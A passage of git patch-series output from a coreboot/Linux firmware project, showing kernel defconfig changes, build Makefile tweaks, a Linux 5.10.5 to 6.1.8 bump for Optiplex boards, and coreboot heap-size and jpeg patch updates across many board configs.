CONFIG_MFD_INTEL_LPSS_PCI is not set -# CONFIG_MFD_IQS62X is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set -# CONFIG_MFD_88PM800 is not set -# CONFIG_MFD_88PM805 is not set -# CONFIG_MFD_88PM860X is not set -# CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77693 is not set -# CONFIG_MFD_MAX77843 is not set -# CONFIG_MFD_MAX8907 is not set -# CONFIG_MFD_MAX8925 is not set -# CONFIG_MFD_MAX8997 is not set -# CONFIG_MFD_MAX8998 is not set -# CONFIG_MFD_MT6360 is not set -# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set -# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set -# CONFIG_MFD_RETU is not set -# CONFIG_MFD_PCF50633 is not set -# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set -# CONFIG_MFD_RT4831 is not set -# CONFIG_MFD_RT5033 is not set -# CONFIG_MFD_RT5120 is not set -# CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set -# CONFIG_MFD_SKY81452 is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set -# CONFIG_MFD_LP3943 is not set -# CONFIG_MFD_LP8788 is not set -# CONFIG_MFD_TI_LMU is not set -# CONFIG_MFD_PALMAS is not set -# CONFIG_TPS6105X is not set -# CONFIG_TPS6507X is not set -# CONFIG_MFD_TPS65086 is not set -# CONFIG_MFD_TPS65090 is not set -# CONFIG_MFD_TI_LP873X is not set -# CONFIG_MFD_TPS6586X is not set -# CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_TWL4030_CORE is not set -# CONFIG_TWL6040_CORE is not set -# CONFIG_MFD_WL1273_CORE is not set -# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set -# CONFIG_MFD_ARIZONA_I2C is not set -# CONFIG_MFD_WM8400 is not set -# CONFIG_MFD_WM831X_I2C is not set -# CONFIG_MFD_WM8350_I2C is not set -# CONFIG_MFD_WM8994 is not set -# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set @@ -1954,12 +1817,6 @@ CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set -# CONFIG_BACKLIGHT_ADP8860 is not set -# CONFIG_BACKLIGHT_ADP8870 is not set -# CONFIG_BACKLIGHT_LM3639 is not set -# CONFIG_BACKLIGHT_LV5207LP is not set -# CONFIG_BACKLIGHT_BD6107 is not set -# CONFIG_BACKLIGHT_ARCXCNN is not set # end of Backlight & LCD device support # @@ -1970,7 +1827,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y -# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2093,12 +1950,6 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# -# CONFIG_I2C_HID_ACPI is not set -# end of I2C HID support - # # Intel ISH HID support # @@ -2232,9 +2083,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -2242,7 +2090,6 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -2302,47 +2149,14 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # -# CONFIG_RTC_DRV_ABB5ZES3 is not set -# CONFIG_RTC_DRV_ABEOZ9 is not set -# CONFIG_RTC_DRV_ABX80X is not set -# CONFIG_RTC_DRV_DS1307 is not set -# CONFIG_RTC_DRV_DS1374 is not set -# CONFIG_RTC_DRV_DS1672 is not set -# CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_RS5C372 is not set -# CONFIG_RTC_DRV_ISL1208 is not set -# CONFIG_RTC_DRV_ISL12022 is not set -# CONFIG_RTC_DRV_X1205 is not set -# CONFIG_RTC_DRV_PCF8523 is not set -# CONFIG_RTC_DRV_PCF85063 is not set -# CONFIG_RTC_DRV_PCF85363 is not set -# CONFIG_RTC_DRV_PCF8563 is not set -# CONFIG_RTC_DRV_PCF8583 is not set -# CONFIG_RTC_DRV_M41T80 is not set -# CONFIG_RTC_DRV_BQ32K is not set -# CONFIG_RTC_DRV_S35390A is not set -# CONFIG_RTC_DRV_FM3130 is not set -# CONFIG_RTC_DRV_RX8010 is not set -# CONFIG_RTC_DRV_RX8581 is not set -# CONFIG_RTC_DRV_RX8025 is not set -# CONFIG_RTC_DRV_EM3027 is not set -# CONFIG_RTC_DRV_RV3028 is not set -# CONFIG_RTC_DRV_RV3032 is not set -# CONFIG_RTC_DRV_RV8803 is not set -# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # -CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # -# CONFIG_RTC_DRV_DS3232 is not set -# CONFIG_RTC_DRV_PCF2127 is not set -# CONFIG_RTC_DRV_RV3029C2 is not set -# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2403,21 +2217,61 @@ CONFIG_SYNC_FILE=y # CONFIG_STAGING is not set # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set -CONFIG_SURFACE_PLATFORMS=y -# CONFIG_SURFACE_3_POWER_OPREGION is not set -# CONFIG_SURFACE_GPE is not set -# CONFIG_SURFACE_PRO3_BUTTON is not set -# CONFIG_X86_PLATFORM_DEVICES is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set # CONFIG_P2SB is not set CONFIG_HAVE_CLK=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y -# CONFIG_COMMON_CLK_MAX9485 is not set -# CONFIG_COMMON_CLK_SI5341 is not set -# CONFIG_COMMON_CLK_SI5351 is not set -# CONFIG_COMMON_CLK_SI544 is not set -# CONFIG_COMMON_CLK_CDCE706 is not set -# CONFIG_COMMON_CLK_CS2000_CP is not set # CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set @@ -2674,7 +2528,7 @@ CONFIG_SYSFS=y CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2743,8 +2597,8 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set -# CONFIG_SECURITYFS is not set -CONFIG_INTEL_TXT=y +CONFIG_SECURITYFS=y +# CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y # CONFIG_FORTIFY_SOURCE is not set @@ -3205,7 +3059,6 @@ CONFIG_WQ_WATCHDOG=y # end of Scheduler Debugging # CONFIG_DEBUG_TIMEKEEPING is not set -CONFIG_DEBUG_PREEMPT=y # # Lock Debugging (spinlocks, mutexes, etc...) @@ -3294,8 +3147,8 @@ CONFIG_EARLY_PRINTK=y # CONFIG_DEBUG_TLBFLUSH is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y # CONFIG_X86_DECODER_SELFTEST is not set -CONFIG_IO_DELAY_0X80=y -# CONFIG_IO_DELAY_0XED is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set # CONFIG_CPA_DEBUG is not set diff --git a/modules/linux b/modules/linux index ea08916d9..12ad5cf9d 100644 --- a/modules/linux +++ b/modules/linux @@ -279,6 +279,8 @@ linux.save_in_versioned_defconfig_format: savedefconfig \ && mv "$(build)/$(linux_dir)/defconfig" "$(pwd)/$(linux_kconfig)_defconfig_$(CONFIG_LINUX_VERSION)" +# This one can be used in kernel version bump, which will accept all new defconfig options for the new version. +# PLEASE VERIFY CHANGES AND KEEP THINGS MINIMAL IN PRs. linux.save_in_oldconfig_format_in_place: mkdir -p "$(build)/$(linux_dir)" \ && cp "$(pwd)/$(linux_kconfig)" "$(build)/$(linux_dir)/.config" \ @@ -286,7 +288,7 @@ linux.save_in_oldconfig_format_in_place: O="$(build)/$(linux_dir)" \ ARCH="$(LINUX_ARCH)" \ CROSS_COMPILE="$(CROSS)" \ - oldconfig \ + olddefconfig \ && mv "$(build)/$(linux_dir)/.config" "$(pwd)/$(linux_kconfig)" linux.save_in_versioned_oldconfig: @@ -296,7 +298,7 @@ linux.save_in_versioned_oldconfig: O="$(build)/$(linux_dir)" \ ARCH="$(LINUX_ARCH)" \ CROSS_COMPILE="$(CROSS)" \ - oldefconfig \ + oldconfig \ && mv "$(build)/$(linux_dir)/.config" "$(pwd)/$(linux_kconfig)_oldconfig_$(CONFIG_LINUX_VERSION)" # Prior of attempting to bump kernel version, call make BOARD=xyz linux.save_in_oldconfig_format_in_place @@ -310,5 +312,6 @@ linux.prompt_for_new_config_options_for_kernel_version_bump: && $(MAKE) -C "$(build)/$(linux_base_dir)" \ O="$(build)/$(linux_dir)" \ ARCH="$(LINUX_ARCH)" \ + CROSS_COMPILE="$(CROSS)" \ oldconfig \ && mv "$(build)/$(linux_dir)/.config" "$(pwd)/$(linux_kconfig)" From ae421f4c1fcf9780a31f5570e0bbf9f890e7ca57 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 30 Oct 2024 09:38:58 -0400 Subject: [PATCH 291/619] Optiplex boards: linux kernel bump 5.10.5 -> 6.1.8 Optiplex already uses CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config, so nothing else to do here Signed-off-by: Thierry Laurion --- .../optiplex-7010_9010-hotp-maximized.config | 2 +- .../optiplex-7010_9010-maximized.config | 2 +- .../optiplex-7010_9010_TXT-hotp-maximized.config | 2 +- .../optiplex-7010_9010_TXT-maximized.config | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index 19f83c076..b034491b9 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 7b5e6e71f..1e0ed1050 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index 194475e04..ab0d8c42b 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index 2e62094e2..eef49910e 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config From c63114710eddebe73f35c89bf3eae3b47b0983dc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 11 Sep 2024 17:11:44 -0400 Subject: [PATCH 292/619] coreboot patches: remove lib/jpeg patches for heap increase and alloc failure. Add https://review.coreboot.org/c/coreboot/+/83895 Repro: rm patches/coreboot-24.02.01/0001* patches/coreboot-24.02.01/0002* git fetch https://review.coreboot.org/coreboot refs/changes/94/83894/2 && git format-patch -1 --stdout FETCH_HEAD > patches/coreboot-24.02.01/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch git fetch https://review.coreboot.org/coreboot refs/changes/95/83895/3 && git format-patch -1 --stdout FETCH_HEAD > patches/coreboot-24.02.01/0002-lib_jpeg-avoidcalling-malloc-and-free.patch sed -i 's/CONFIG_HEAP_SIZE=0x400000/CONFIG_HEAP_SIZE=0x100000/g' config/coreboot-* Signed-off-by: Thierry Laurion --- config/coreboot-librem_11.config | 2 +- config/coreboot-librem_13v2.config | 2 +- config/coreboot-librem_13v4.config | 2 +- config/coreboot-librem_14.config | 2 +- config/coreboot-librem_15v3.config | 2 +- config/coreboot-librem_15v4.config | 2 +- config/coreboot-librem_l1um_v2.config | 2 +- config/coreboot-librem_mini.config | 2 +- config/coreboot-librem_mini_v2.config | 2 +- config/coreboot-qemu-tpm1.config | 2 +- config/coreboot-qemu-tpm2.config | 2 +- config/coreboot-t420-maximized.config | 2 +- config/coreboot-t430-maximized.config | 2 +- config/coreboot-t440p.config | 2 +- config/coreboot-t530-maximized.config | 2 +- config/coreboot-w530-maximized.config | 2 +- config/coreboot-w541.config | 2 +- config/coreboot-x220-maximized.config | 2 +- config/coreboot-x230-legacy-flash.config | 2 +- config/coreboot-x230-legacy.config | 2 +- config/coreboot-x230-maximized-fhd_edp.config | 2 +- config/coreboot-x230-maximized.config | 2 +- config/coreboot-z220-cmt.config | 2 +- ...h_heap_allocation_failure_to_booting.patch | 80 - ...wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch | 111421 +++++++++++++++ ...rom1mb_to4mb_when_bootpslash_enabled.patch | 44 - ...ib_jpeg-avoidcalling-malloc-and-free.patch | 91 + 27 files changed, 111535 insertions(+), 147 deletions(-) delete mode 100644 patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch create mode 100644 patches/coreboot-24.02.01/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch delete mode 100644 patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch create mode 100644 patches/coreboot-24.02.01/0002-lib_jpeg-avoidcalling-malloc-and-free.patch diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index b153955fa..e4fb403d6 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -478,7 +478,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 001115ac8..699c54a30 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -501,7 +501,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index 9eb08a478..84b37ae2e 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -501,7 +501,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index 4bdcee327..f72db4392 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -498,7 +498,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index 012f3742d..395a8be81 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -501,7 +501,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 998fe2790..dd16e94c0 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -501,7 +501,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index aa599988b..ca70ea96f 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -498,7 +498,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index 82f908104..62d2c37df 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -502,7 +502,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index 02d16d24c..85ed80b70 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -504,7 +504,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 51bc7b1fd..3282918cf 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -327,7 +327,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 56ce7eb90..ec5619850 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -324,7 +324,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 44f4610e5..fdd176c2d 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -424,7 +424,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 1e6c97dec..530583227 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -424,7 +424,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 392c87b17..ac28f6754 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -422,7 +422,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 2fad20d33..2008200d9 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -424,7 +424,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 8d4a35eb7..b79e61a4d 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -427,7 +427,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index b8ccf8e4c..5515e064e 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -422,7 +422,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index e2bd2aa72..5809a48ad 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -424,7 +424,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index d0cfe88ae..1e288a217 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -413,7 +413,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index dc57f10d9..336170d9a 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -413,7 +413,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y 